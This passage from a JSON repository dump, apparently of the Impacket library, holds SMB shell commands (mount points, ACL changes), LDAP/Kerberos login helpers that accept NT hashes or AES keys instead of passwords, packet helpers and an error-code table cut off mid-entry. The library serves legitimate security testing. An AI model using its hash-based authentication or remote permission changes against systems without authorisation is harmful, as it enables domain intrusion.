> 0:\n            pathName= l[0].replace('/','\\\\')\n\n        # Relative or absolute path?\n        if pathName.startswith('\\\\') is not True:\n            pathName = ntpath.join(self.pwd, pathName)\n\n        snapshotList = self.smb.listSnapshots(self.tid, pathName)\n\n        if not snapshotList:\n            print(\"No snapshots found\")\n            return\n\n        for timestamp in snapshotList:\n            print(timestamp)\n\n    def do_mount(self, line):\n        l = line.split(' ')\n        if len(l) > 1:\n            target  = l[0].replace('/','\\\\')\n            pathName= l[1].replace('/','\\\\')\n\n        # Relative or absolute path?\n        if pathName.startswith('\\\\') is not True:\n            pathName = ntpath.join(self.pwd, pathName)\n\n        self.smb.createMountPoint(self.tid, pathName, target)\n\n    def do_umount(self, mountpoint):\n        mountpoint = mountpoint.replace('/','\\\\')\n\n\n        # Relative or absolute path?\n        if mountpoint.startswith('\\\\') is not True:\n            mountpoint = ntpath.join(self.pwd, mountpoint)\n\n        mountPath = ntpath.join(self.pwd, mountpoint)\n\n        self.smb.removeMountPoint(self.tid, mountPath)\n\n    def do_acl(self, line):\n        if self.tid is None:\n            LOG.error(\"No share selected\")\n            return\n        parts = line.split()\n        if len(parts) == 0:\n            LOG.error(\"Usage: acl {filename,action,permissions,user/group} actions: grant/revoke, \"\n                      \"supported permissions : R/W/D/X/F\")\n            return\n        \n        filename = parts[0].replace('/','\\\\')\n        # Relative or absolute path?\n        if filename.startswith('\\\\') is not True:\n            filename = ntpath.join(self.pwd, filename)\n        \n        smb_file_acl = None\n\n        try:\n            if len(parts) == 1:\n                smb_file_acl = SMBFileACL(smb_connection=self.smb)\n                resp = smb_file_acl.get_permissions(self.share, filename)\n                print(resp)\n            else:\n                action = parts[1].lower()\n\n                if action not in ['grant', 'revoke']:\n                    LOG.error(\"Action must be 'grant' or 'revoke'\")\n                    return\n\n                if len(parts) < 3:\n                    LOG.error(\"Permissions required. Supported: R (read), W (write), D (delete), X (execute), F (full control)\")\n                    return\n\n                permissions = parts[2]\n\n                if len(parts) < 4:\n                    LOG.error(\"User/group name is required\")\n                    return\n\n                user = parts[3]\n\n                smb_file_acl = SMBFileACL(smb_connection=self.smb)\n                smb_file_acl.set_permissions(self.share, filename, user, permissions, action)\n                if action == 'grant':\n                    print(\"Successfully granted permissions to %s\" % user)\n                elif action == 'revoke':\n                    print(\"Successfully revoked permissions from %s\" % user)\n        finally:\n            if smb_file_acl:\n                smb_file_acl.close_connection()\n\n    def do_EOF(self, line):\n        print('Bye!\\n')\n        return True\n"
  },
  {
    "path": "impacket/examples/utils.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Utility and helper functions for the example scripts\n#\n# Author:\n#   Martin Gallo (@martingalloar)\n#\nimport re\n\n\n# Regular expression to parse target information\ntarget_regex = re.compile(r\"(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)\")\n\n\n# Regular expression to parse credentials information\ncredential_regex = re.compile(r\"(?:(?:([^/:]*)/)?([^:]*)(?::(.*))?)?\")\n\n\ndef parse_target(target):\n    \"\"\" Helper function to parse target information. The expected format is:\n\n    <DOMAIN></USERNAME><:PASSWORD>@HOSTNAME\n\n    :param target: target to parse\n    :type target: string\n\n    :return: tuple of domain, username, password and remote name or IP address\n    :rtype: (string, string, string, string)\n    \"\"\"\n    domain, username, password, remote_name = target_regex.match(target).groups('')\n\n    # In case the password contains '@'\n    if '@' in remote_name:\n        password = password + '@' + remote_name.rpartition('@')[0]\n        remote_name = remote_name.rpartition('@')[2]\n\n    return domain, username, password, remote_name\n\n\ndef parse_credentials(credentials):\n    \"\"\" Helper function to parse credentials information. The expected format is:\n\n    <DOMAIN></USERNAME><:PASSWORD>\n\n    :param credentials: credentials to parse\n    :type credentials: string\n\n    :return: tuple of domain, username and password\n    :rtype: (string, string, string)\n    \"\"\"\n    domain, username, password = credential_regex.match(credentials).groups('')\n\n    return domain, username, password\n\n# ----------\n\nfrom impacket.smbconnection import SMBConnection, SessionError\nimport ldap3\nimport ssl\nfrom binascii import unhexlify\nfrom impacket.spnego import SPNEGO_NegTokenInit, TypesMech\n\ndef _get_machine_name(machine, fqdn=False):\n    s = SMBConnection(machine, machine)\n    try:\n        s.login('', '')\n    except SessionError as e:\n        if str(e).find('STATUS_NOT_SUPPORTED') > 0:\n            raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify corresponding NetBIOS name or FQDN as the value of the -dc-host option')\n        else:\n            raise\n    except Exception:\n        if s.getServerName() == '':\n            raise Exception('Error while anonymous logging into %s' % machine)\n    else:\n        s.logoff()\n\n    if fqdn:\n        return \"%s.%s\" % (s.getServerName(), s.getServerDNSDomainName())\n    return s.getServerName()\n\ndef ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True):\n    from pyasn1.codec.ber import encoder, decoder\n    from pyasn1.type.univ import noValue\n    \"\"\"\n    logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.\n    :param string user: username\n    :param string password: password for the user\n    :param string domain: domain where the account is valid for (required)\n    :param string lmhash: LMHASH used to authenticate using hashes (password is not used)\n    :param string nthash: NTHASH used to authenticate using hashes (password is not used)\n    :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication\n    :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)\n    :param struct TGT: If there's a TGT available, send the structure here and it will be used\n    :param struct TGS: same for TGS. See smb3.py for the format\n    :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False\n    :return: True, raises an Exception if error.\n    \"\"\"\n\n    if lmhash != '' or nthash != '':\n        if len(lmhash) % 2:\n            lmhash = '0' + lmhash\n        if len(nthash) % 2:\n            nthash = '0' + nthash\n        try:  # just in case they were converted already\n            lmhash = unhexlify(lmhash)\n            nthash = unhexlify(nthash)\n        except TypeError:\n            pass\n\n    # Importing down here so pyasn1 is not required if kerberos is not used.\n    from impacket.krb5.ccache import CCache\n    from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set\n    from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS\n    from impacket.krb5 import constants\n    from impacket.krb5.types import Principal, KerberosTime, Ticket\n    import datetime\n\n    if TGT is not None or TGS is not None:\n        useCache = False\n\n    target = 'ldap/%s' % target\n    if useCache:\n        domain, user, TGT, TGS = CCache.parseFile(domain, user, target)\n\n    # First of all, we need to get a TGT for the user\n    userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n    if TGT is None:\n        if TGS is None:\n            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)\n    else:\n        tgt = TGT['KDC_REP']\n        cipher = TGT['cipher']\n        sessionKey = TGT['sessionKey']\n\n    if TGS is None:\n        serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value)\n        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)\n    else:\n        tgs = TGS['KDC_REP']\n        cipher = TGS['cipher']\n        sessionKey = TGS['sessionKey']\n\n        # Let's build a NegTokenInit with a Kerberos REQ_AP\n\n    blob = SPNEGO_NegTokenInit()\n\n    # Kerberos\n    blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]\n\n    # Let's extract the ticket from the TGS\n    tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]\n    ticket = Ticket()\n    ticket.from_asn1(tgs['ticket'])\n\n    # Now let's build the AP_REQ\n    apReq = AP_REQ()\n    apReq['pvno'] = 5\n    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n    opts = []\n    apReq['ap-options'] = constants.encodeFlags(opts)\n    seq_set(apReq, 'ticket', ticket.to_asn1)\n\n    authenticator = Authenticator()\n    authenticator['authenticator-vno'] = 5\n    authenticator['crealm'] = domain\n    seq_set(authenticator, 'cname', userName.components_to_asn1)\n    now = datetime.datetime.now(datetime.timezone.utc)\n\n    authenticator['cusec'] = now.microsecond\n    authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n    encodedAuthenticator = encoder.encode(authenticator)\n\n    # Key Usage 11\n    # AP-REQ Authenticator (includes application authenticator\n    # subkey), encrypted with the application session key\n    # (Section 5.5.1)\n    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)\n\n    apReq['authenticator'] = noValue\n    apReq['authenticator']['etype'] = cipher.enctype\n    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n    blob['MechToken'] = encoder.encode(apReq)\n\n    request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData())\n\n    # Done with the Kerberos saga, now let's get into LDAP\n    if connection.closed:  # try to open connection if closed\n        connection.open(read_server_info=False)\n\n    connection.sasl_in_progress = True\n    response = connection.post_send_single_response(connection.send('bindRequest', request, None))\n    connection.sasl_in_progress = False\n    if response[0]['result'] != 0:\n        raise Exception(response)\n\n    connection.bound = True\n\n    return True\n\ndef _init_ldap_connection(target, use_ssl, domain, username, password, lmhash, nthash, k, dc_ip, aesKey):\n    user = '%s\\\\%s' % (domain, username)\n    connect_to = target\n    if dc_ip is not None:\n        connect_to = dc_ip\n\n    port = 636 if use_ssl else 389\n    ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl)\n\n    if k:\n        ldap_session = ldap3.Connection(ldap_server)\n        ldap_session.bind()\n        ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, aesKey, kdcHost=dc_ip)\n    elif lmhash == '' and nthash == '':\n        ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)\n    else:\n        ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + \":\" + nthash, authentication=ldap3.NTLM, auto_bind=True)\n\n    return ldap_server, ldap_session\n\ndef init_ldap_session(domain, username, password, lmhash, nthash, k, dc_ip, dc_host, aesKey, use_ldaps):\n    if k:\n        if dc_host is not None:\n            target = dc_host\n        elif dc_ip is not None:\n            target = _get_machine_name(dc_ip)\n        else:\n            target = _get_machine_name(domain)\n    else:\n        if dc_ip is not None:\n            target = dc_ip\n        else:\n            target = domain\n\n    return _init_ldap_connection(target, use_ldaps, domain, username, password, lmhash, nthash, k, dc_ip, aesKey)\n\n# ----------\n\nfrom impacket.ldap import ldap\nimport logging\ndef ldap_login(target, base_dn, kdc_ip, kdc_host, do_kerberos, username, password, domain, lmhash, nthash, aeskey, ldaps_flag=False, target_domain=None, fqdn=False):\n    if kdc_host is not None and (target_domain is None or domain == target_domain):\n        target = kdc_host\n    else:\n        if kdc_ip is not None and (target_domain is None or domain == target_domain):\n            target = kdc_ip\n        else:\n            if target_domain is not None:\n                target = target_domain\n            else:\n                target = domain\n\n        if do_kerberos:\n            logging.info('Getting machine hostname')\n            target = _get_machine_name(target, fqdn)\n    \n    # Added ldaps flag & placed check for ldaps if flag is enabled.\n    url = 'ldaps://%s' if ldaps_flag else 'ldap://%s'\n\n    # Connect to LDAP\n    try:\n        ldapConnection = ldap.LDAPConnection(url % target, base_dn, kdc_ip)\n        if do_kerberos is not True:\n            ldapConnection.login(username, password, domain, lmhash, nthash)\n        else:\n            ldapConnection.kerberosLogin(username, password, domain, lmhash, nthash, aeskey, kdcHost=kdc_ip)\n    except ldap.LDAPSessionError as e:\n        if str(e).find('strongerAuthRequired') >= 0:\n            # We need to try SSL\n            ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, base_dn, kdc_ip)\n            if do_kerberos is not True:\n                ldapConnection.login(username, password, domain, lmhash, nthash)\n            else:\n                ldapConnection.kerberosLogin(username, password, domain, lmhash, nthash, aeskey, kdcHost=kdc_ip)\n        else:\n            if str(e).find('NTLMAuthNegotiate') >= 0:\n                logging.critical(\"NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos authentication instead.\")\n            else:\n                if kdc_ip is not None and kdc_host is not None:\n                    logging.critical(\"If the credentials are valid, check the hostname and IP address of KDC. They must match exactly each other.\")\n            raise\n    return ldapConnection\n\n# ----------\n\nEMPTY_LM_HASH = 'AAD3B435B51404EEAAD3B435B51404EE'\ndef parse_identity(credentials, hashes=None, no_pass=False, aesKey=None, k=False, getpass_msg='Password:'):\n    domain, username, password = parse_credentials(credentials)\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and hashes is None and no_pass is False and aesKey is None:\n        from getpass import getpass\n        password = getpass(getpass_msg)\n\n    if aesKey is not None:\n        k = True\n\n    lmhash = ''\n    nthash = ''\n    if hashes is not None:\n        lmhash, nthash = hashes.split(':')\n        if lmhash == '':\n            lmhash = EMPTY_LM_HASH\n\n    return domain, username, password, lmhash, nthash, k\n\n# ----------\n\ndef get_address(ip, port, ipv6=False):\n    address = (ip, port)\n    address_family = socket.AF_INET\n    if ipv6:\n        address_family = socket.AF_INET6\n        # scope_id (after %) can be present or not - if not, default: 0\n        ip_parts = ip.split('%')\n        scope_id = ip_parts[1] if len(ip_parts) == 2 else 0\n        # convert scope_id to int (expected by s.connect)\n        # if exception, assume the interface name and convert to index\n        try:\n            scope_id = int(scope_id)\n        except ValueError:\n            scope_id = socket.if_nametoindex(scope_id)\n        address = address + (0, scope_id)\n    return address_family, address\n\nimport socket\ndef get_connected_socket(ip, port, ipv6=False):\n    s = socket.socket(socket.AF_INET6 if ipv6 else socket.AF_INET)\n    _, address = get_address(ip, port, ipv6)\n    s.connect(address)\n    return s"
  },
  {
    "path": "impacket/helper.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Helper used to build ProtocolPackets\n#\n# Author:\n#   Aureliano Calvo\n#\n\nimport struct\nimport functools\nfrom six import add_metaclass\n\nimport impacket.ImpactPacket as ip\n\n\ndef rebind(f):\n    functools.wraps(f)\n    def rebinder(*args, **kwargs):\n        return f(*args, **kwargs)\n        \n    return rebinder\n\nclass Field(object):\n    def __init__(self, index):\n        self.index = index\n    \n    def __call__(self, k, d):\n        getter = rebind(self.getter)\n        getter_name = \"get_\" + k\n        getter.__name__ = getter_name\n        getter.__doc__ = \"Get the %s field\" % k\n        d[getter_name] = getter\n        \n        setter = rebind(self.setter)\n        setter_name = \"set_\" + k\n        setter.__name__ = setter_name\n        setter.__doc__ = \"Set the %s field\" % k\n        d[\"set_\" + k] = setter\n        \n        d[k] = property(getter, setter, doc=\"%s property\" % k)\n        \nclass Bit(Field):\n    def __init__(self, index, bit_number):\n        Field.__init__(self, index)\n        self.mask = 2 ** bit_number\n        self.off_mask = (~self.mask) & 0xff\n        \n    def getter(self, o):\n        return (o.header.get_byte(self.index) & self.mask) != 0\n    \n    def setter(self, o, value=True):\n        b = o.header.get_byte(self.index)\n        if value:\n            b |= self.mask\n        else:\n            b &= self.off_mask\n        \n        o.header.set_byte(self.index, b) \n\nclass Byte(Field):\n    \n    def __init__(self, index):\n        Field.__init__(self, index)\n        \n    def getter(self, o):\n        return o.header.get_byte(self.index)\n    \n    def setter(self, o, value):\n        o.header.set_byte(self.index, value)\n        \nclass Word(Field):\n    def __init__(self, index, order=\"!\"):\n        Field.__init__(self, index)\n        self.order = order\n        \n    def getter(self, o):\n        return o.header.get_word(self.index, self.order)\n    \n    def setter(self, o, value):\n        o.header.set_word(self.index, value, self.order)\n\nclass Long(Field):        \n    def __init__(self, index, order=\"!\"):\n        Field.__init__(self, index)        \n        self.order = order\n        \n    def getter(self, o):\n        return o.header.get_long(self.index, self.order)\n    \n    def setter(self, o, value):\n        o.header.set_long(self.index, value, self.order)\n        \nclass ThreeBytesBigEndian(Field):\n    def __init__(self, index):\n        Field.__init__(self, index)\n                \n    def getter(self, o):\n        b = ip.array_tobytes(o.header.get_bytes()[self.index:self.index+3])\n        #unpack requires a string argument of length 4 and b is 3 bytes long\n        (value,) = struct.unpack('!L', b'\\x00'+b)\n        return value\n\n    def setter(self, o, value):\n        # clear the bits\n        mask = ((~0xFFFFFF00) & 0xFF)\n        masked = o.header.get_long(self.index, \">\") & mask\n        # set the bits \n        nb = masked | ((value & 0x00FFFFFF) << 8)\n        o.header.set_long(self.index, nb, \">\")\n\n\nclass ProtocolPacketMetaklass(type):\n    def __new__(cls, name, bases, d):\n        d[\"_fields\"] = []\n        items = list(d.items())\n        if not object in bases:\n            bases += (object,)\n        for k,v in items:\n            if isinstance(v, Field):\n                d[\"_fields\"].append(k) \n                v(k, d)\n                \n        d[\"_fields\"].sort()\n        \n        def _fields_repr(self):\n            return \" \".join( \"%s:%s\" % (f, repr(getattr(self, f))) for f in self._fields )\n        def __repr__(self):\n            \n            return \"<%(name)s %(fields)s \\nchild:%(r_child)s>\" % {\n                \"name\": name,\n                \"fields\": self._fields_repr(),\n                \"r_child\": repr(self.child()), \n            }\n        \n        d[\"_fields_repr\"] = _fields_repr\n        d[\"__repr__\"] = __repr__\n        \n        return type.__new__(cls, name, bases, d)\n\n@add_metaclass(ProtocolPacketMetaklass)\nclass ProtocolPacket(ip.ProtocolPacket):\n    def __init__(self, buff = None):\n        ip.ProtocolPacket.__init__(self, self.header_size, self.tail_size)\n        if buff:\n            self.load_packet(buff)\n"
  },
  {
    "path": "impacket/hresult_errors.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   HRESULT Errors from [MS-ERREF]. Ideally all the files\n#   should grab the error codes from here (big ToDo)\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n\nERROR_MESSAGES = {\n        0x00030200: (\"STG_S_CONVERTED\", \"The underlying file was converted to compound file format.\"),\n        0x00030201: (\"STG_S_BLOCK\", \"The storage operation should block until more data is available.\"),\n        0x00030202: (\"STG_S_RETRYNOW\", \"The storage operation should retry immediately.\"),\n        0x00030203: (\"STG_S_MONITORING\", \"The notified event sink will not influence the storage operation.\"),\n        0x00030204: (\"STG_S_MULTIPLEOPENS\", \"Multiple opens prevent consolidated (commit succeeded).\"),\n        0x00030205: (\"STG_S_CONSOLIDATIONFAILED\", \"Consolidation of the storage file failed (commit succeeded).\"),\n        0x00030206: (\"STG_S_CANNOTCONSOLIDATE\", \"Consolidation of the storage file is inappropriate (commit succeeded).\"),\n        0x00040000: (\"OLE_S_USEREG\", \"Use the registry database to provide the requested information.\"),\n        0x00040001: (\"OLE_S_STATIC\", \"Success, but static.\"),\n        0x00040002: (\"OLE_S_MAC_CLIPFORMAT\", \"Macintosh clipboard format.\"),\n        0x00040100: (\"DRAGDROP_S_DROP\", \"Successful drop took place.\"),\n        0x00040101: (\"DRAGDROP_S_CANCEL\", \"Drag-drop operation canceled.\"),\n        0x00040102: (\"DRAGDROP_S_USEDEFAULTCURSORS\", \"Use the default cursor.\"),\n        0x00040130: (\"DATA_S_SAMEFORMATETC\", \"Data has same FORMATETC.\"),\n        0x00040140: (\"VIEW_S_ALREADY_FROZEN\", \"View is already frozen.\"),\n        0x00040170: (\"CACHE_S_FORMATETC_NOTSUPPORTED\", \"FORMATETC not supported.\"),\n        0x00040171: (\"CACHE_S_SAMECACHE\", \"Same cache.\"),\n        0x00040172: (\"CACHE_S_SOMECACHES_NOTUPDATED\", \"Some caches are not updated.\"),\n        0x00040180: (\"OLEOBJ_S_INVALIDVERB\", \"Invalid verb for OLE object.\"),\n        0x00040181: (\"OLEOBJ_S_CANNOT_DOVERB_NOW\", \"Verb number is valid but verb cannot be done now.\"),\n        0x00040182: (\"OLEOBJ_S_INVALIDHWND\", \"Invalid window handle passed.\"),\n        0x000401A0: (\"INPLACE_S_TRUNCATED\", \"Message is too long; some of it had to be truncated before displaying.\"),\n        0x000401C0: (\"CONVERT10_S_NO_PRESENTATION\", \"Unable to convert OLESTREAM to IStorage.\"),\n        0x000401E2: (\"MK_S_REDUCED_TO_SELF\", \"Moniker reduced to itself.\"),\n        0x000401E4: (\"MK_S_ME\", \"Common prefix is this moniker.\"),\n        0x000401E5: (\"MK_S_HIM\", \"Common prefix is input moniker.\"),\n        0x000401E6: (\"MK_S_US\", \"Common prefix is both monikers.\"),\n        0x000401E7: (\"MK_S_MONIKERALREADYREGISTERED\", \"Moniker is already registered in running object table.\"),\n        0x00040200: (\"EVENT_S_SOME_SUBSCRIBERS_FAILED\", \"An event was able to invoke some, but not all, of the subscribers.\"),\n        0x00040202: (\"EVENT_S_NOSUBSCRIBERS\", \"An event was delivered, but there were no subscribers.\"),\n        0x00041300: (\"SCHED_S_TASK_READY\", \"The task is ready to run at its next scheduled time.\"),\n        0x00041301: (\"SCHED_S_TASK_RUNNING\", \"The task is currently running.\"),\n        0x00041302: (\"SCHED_S_TASK_DISABLED\", \"The task will not run at the scheduled times because it has been disabled.\"),\n        0x00041303: (\"SCHED_S_TASK_HAS_NOT_RUN\", \"The task has not yet run.\"),\n        0x00041304: (\"SCHED_S_TASK_NO_MORE_RUNS\", \"There are no more runs scheduled for this task.\"),\n        0x00041305: (\"SCHED_S_TASK_NOT_SCHEDULED\", \"One or more of the properties that are needed to run this task on a schedule have not been set.\"),\n        0x00041306: (\"SCHED_S_TASK_TERMINATED\", \"The last run of the task was terminated by the user.\"),\n        0x00041307: (\"SCHED_S_TASK_NO_VALID_TRIGGERS\", \"Either the task has no triggers, or the existing triggers are disabled or not set.\"),\n        0x00041308: (\"SCHED_S_EVENT_TRIGGER\", \"Event triggers do not have set run times.\"),\n        0x0004131B: (\"SCHED_S_SOME_TRIGGERS_FAILED\", \"The task is registered, but not all specified triggers will start the task.\"),\n        0x0004131C: (\"SCHED_S_BATCH_LOGON_PROBLEM\", \"The task is registered, but it may fail to start. Batch logon privilege needs to be enabled for the task principal.\"),\n        0x0004D000: (\"XACT_S_ASYNC\", \"An asynchronous operation was specified. The operation has begun, but its outcome is not known yet.\"),\n        0x0004D002: (\"XACT_S_READONLY\", \"The method call succeeded because the transaction was read-only.\"),\n        0x0004D003: (\"XACT_S_SOMENORETAIN\", \"The transaction was successfully aborted. However, this is a coordinated transaction, and a number of enlisted resources were aborted outright because they could not support abort-retaining semantics.\"),\n        0x0004D004: (\"XACT_S_OKINFORM\", \"No changes were made during this call, but the sink wants another chance to look if any other sinks make further changes.\"),\n        0x0004D005: (\"XACT_S_MADECHANGESCONTENT\", \"The sink is content and wants the transaction to proceed. Changes were made to one or more resources during this call.\"),\n        0x0004D006: (\"XACT_S_MADECHANGESINFORM\", \"The sink is for the moment and wants the transaction to proceed, but if other changes are made following this return by other event sinks, this sink wants another chance to look.\"),\n        0x0004D007: (\"XACT_S_ALLNORETAIN\", \"The transaction was successfully aborted. However, the abort was nonretaining.\"),\n        0x0004D008: (\"XACT_S_ABORTING\", \"An abort operation was already in progress.\"),\n        0x0004D009: (\"XACT_S_SINGLEPHASE\", \"The resource manager has performed a single-phase commit of the transaction.\"),\n        0x0004D00A: (\"XACT_S_LOCALLY_OK\", \"The local transaction has not aborted.\"),\n        0x0004D010: (\"XACT_S_LASTRESOURCEMANAGER\", \"The resource manager has requested to be the coordinator (last resource manager) for the transaction.\"),\n        0x00080012: (\"CO_S_NOTALLINTERFACES\", \"Not all the requested interfaces were available.\"),\n        0x00080013: (\"CO_S_MACHINENAMENOTFOUND\", \"The specified machine name was not found in the cache.\"),\n        0x00090312: (\"SEC_I_CONTINUE_NEEDED\", \"The function completed successfully, but it must be called again to complete the context.\"),\n        0x00090313: (\"SEC_I_COMPLETE_NEEDED\", \"The function completed successfully, but CompleteToken must be called.\"),\n        0x00090314: (\"SEC_I_COMPLETE_AND_CONTINUE\", \"The function completed successfully, but both CompleteToken and this function must be called to complete the context.\"),\n        0x00090315: (\"SEC_I_LOCAL_LOGON\", \"The logon was completed, but no network authority was available. The logon was made using locally known information.\"),\n        0x00090317: (\"SEC_I_CONTEXT_EXPIRED\", \"The context has expired and can no longer be used.\"),\n        0x00090320: (\"SEC_I_INCOMPLETE_CREDENTIALS\", \"The credentials supplied were not complete and could not be verified. Additional information can be returned from the context.\"),\n        0x00090321: (\"SEC_I_RENEGOTIATE\", \"The context data must be renegotiated with the peer.\"),\n        0x00090323: (\"SEC_I_NO_LSA_CONTEXT\", \"There is no LSA mode context associated with this context.\"),\n        0x0009035C: (\"SEC_I_SIGNATURE_NEEDED\", \"A signature operation must be performed before the user can authenticate.\"),\n        0x00091012: (\"CRYPT_I_NEW_PROTECTION_REQUIRED\", \"The protected data needs to be reprotected.\"),\n        0x000D0000: (\"NS_S_CALLPENDING\", \"The requested operation is pending completion.\"),\n        0x000D0001: (\"NS_S_CALLABORTED\", \"The requested operation was aborted by the client.\"),\n        0x000D0002: (\"NS_S_STREAM_TRUNCATED\", \"The stream was purposefully stopped before completion.\"),\n        0x000D0BC8: (\"NS_S_REBUFFERING\", \"The requested operation has caused the source to rebuffer.\"),\n        0x000D0BC9: (\"NS_S_DEGRADING_QUALITY\", \"The requested operation has caused the source to degrade codec quality.\"),\n        0x000D0BDB: (\"NS_S_TRANSCRYPTOR_EOF\", \"The transcryptor object has reached end of file.\"),\n        0x000D0FE8: (\"NS_S_WMP_UI_VERSIONMISMATCH\", \"An upgrade may be needed for the theme manager to correctly show this skin. Skin reports version: %.1f.\"),\n        0x000D0FE9: (\"NS_S_WMP_EXCEPTION\", \"An error occurred in one of the UI components.\"),\n        0x000D1040: (\"NS_S_WMP_LOADED_GIF_IMAGE\", \"Successfully loaded a GIF file.\"),\n        0x000D1041: (\"NS_S_WMP_LOADED_PNG_IMAGE\", \"Successfully loaded a PNG file.\"),\n        0x000D1042: (\"NS_S_WMP_LOADED_BMP_IMAGE\", \"Successfully loaded a BMP file.\"),\n        0x000D1043: (\"NS_S_WMP_LOADED_JPG_IMAGE\", \"Successfully loaded a JPG file.\"),\n        0x000D104F: (\"NS_S_WMG_FORCE_DROP_FRAME\", \"Drop this frame.\"),\n        0x000D105F: (\"NS_S_WMR_ALREADYRENDERED\", \"The specified stream has already been rendered.\"),\n        0x000D1060: (\"NS_S_WMR_PINTYPEPARTIALMATCH\", \"The specified type partially matches this pin type.\"),\n        0x000D1061: (\"NS_S_WMR_PINTYPEFULLMATCH\", \"The specified type fully matches this pin type.\"),\n        0x000D1066: (\"NS_S_WMG_ADVISE_DROP_FRAME\", \"The timestamp is late compared to the current render position. Advise dropping this frame.\"),\n        0x000D1067: (\"NS_S_WMG_ADVISE_DROP_TO_KEYFRAME\", \"The timestamp is severely late compared to the current render position. Advise dropping everything up to the next key frame.\"),\n        0x000D10DB: (\"NS_S_NEED_TO_BUY_BURN_RIGHTS\", \"No burn rights. You will be prompted to buy burn rights when you try to burn this file to an audio CD.\"),\n        0x000D10FE: (\"NS_S_WMPCORE_PLAYLISTCLEARABORT\", \"Failed to clear playlist because it was aborted by user.\"),\n        0x000D10FF: (\"NS_S_WMPCORE_PLAYLISTREMOVEITEMABORT\", \"Failed to remove item in the playlist since it was aborted by user.\"),\n        0x000D1102: (\"NS_S_WMPCORE_PLAYLIST_CREATION_PENDING\", \"Playlist is being generated asynchronously.\"),\n        0x000D1103: (\"NS_S_WMPCORE_MEDIA_VALIDATION_PENDING\", \"Validation of the media is pending.\"),\n        0x000D1104: (\"NS_S_WMPCORE_PLAYLIST_REPEAT_SECONDARY_SEGMENTS_IGNORED\", \"Encountered more than one Repeat block during ASX processing.\"),\n        0x000D1105: (\"NS_S_WMPCORE_COMMAND_NOT_AVAILABLE\", \"Current state of WMP disallows calling this method or property.\"),\n        0x000D1106: (\"NS_S_WMPCORE_PLAYLIST_NAME_AUTO_GENERATED\", \"Name for the playlist has been auto generated.\"),\n        0x000D1107: (\"NS_S_WMPCORE_PLAYLIST_IMPORT_MISSING_ITEMS\", \"The imported playlist does not contain all items from the original.\"),\n        0x000D1108: (\"NS_S_WMPCORE_PLAYLIST_COLLAPSED_TO_SINGLE_MEDIA\", \"The M3U playlist has been ignored because it only contains one item.\"),\n        0x000D1109: (\"NS_S_WMPCORE_MEDIA_CHILD_PLAYLIST_OPEN_PENDING\", \"The open for the child playlist associated with this media is pending.\"),\n        0x000D110A: (\"NS_S_WMPCORE_MORE_NODES_AVAIABLE\", \"More nodes support the interface requested, but the array for returning them is full.\"),\n        0x000D1135: (\"NS_S_WMPBR_SUCCESS\", \"Backup or Restore successful!.\"),\n        0x000D1136: (\"NS_S_WMPBR_PARTIALSUCCESS\", \"Transfer complete with limitations.\"),\n        0x000D1144: (\"NS_S_WMPEFFECT_TRANSPARENT\", \"Request to the effects control to change transparency status to transparent.\"),\n        0x000D1145: (\"NS_S_WMPEFFECT_OPAQUE\", \"Request to the effects control to change transparency status to opaque.\"),\n        0x000D114E: (\"NS_S_OPERATION_PENDING\", \"The requested application pane is performing an operation and will not be released.\"),\n        0x000D1359: (\"NS_S_TRACK_BUY_REQUIRES_ALBUM_PURCHASE\", \"The file is only available for purchase when you buy the entire album.\"),\n        0x000D135E: (\"NS_S_NAVIGATION_COMPLETE_WITH_ERRORS\", \"There were problems completing the requested navigation. There are identifiers missing in the catalog.\"),\n        0x000D1361: (\"NS_S_TRACK_ALREADY_DOWNLOADED\", \"Track already downloaded.\"),\n        0x000D1519: (\"NS_S_PUBLISHING_POINT_STARTED_WITH_FAILED_SINKS\", \"The publishing point successfully started, but one 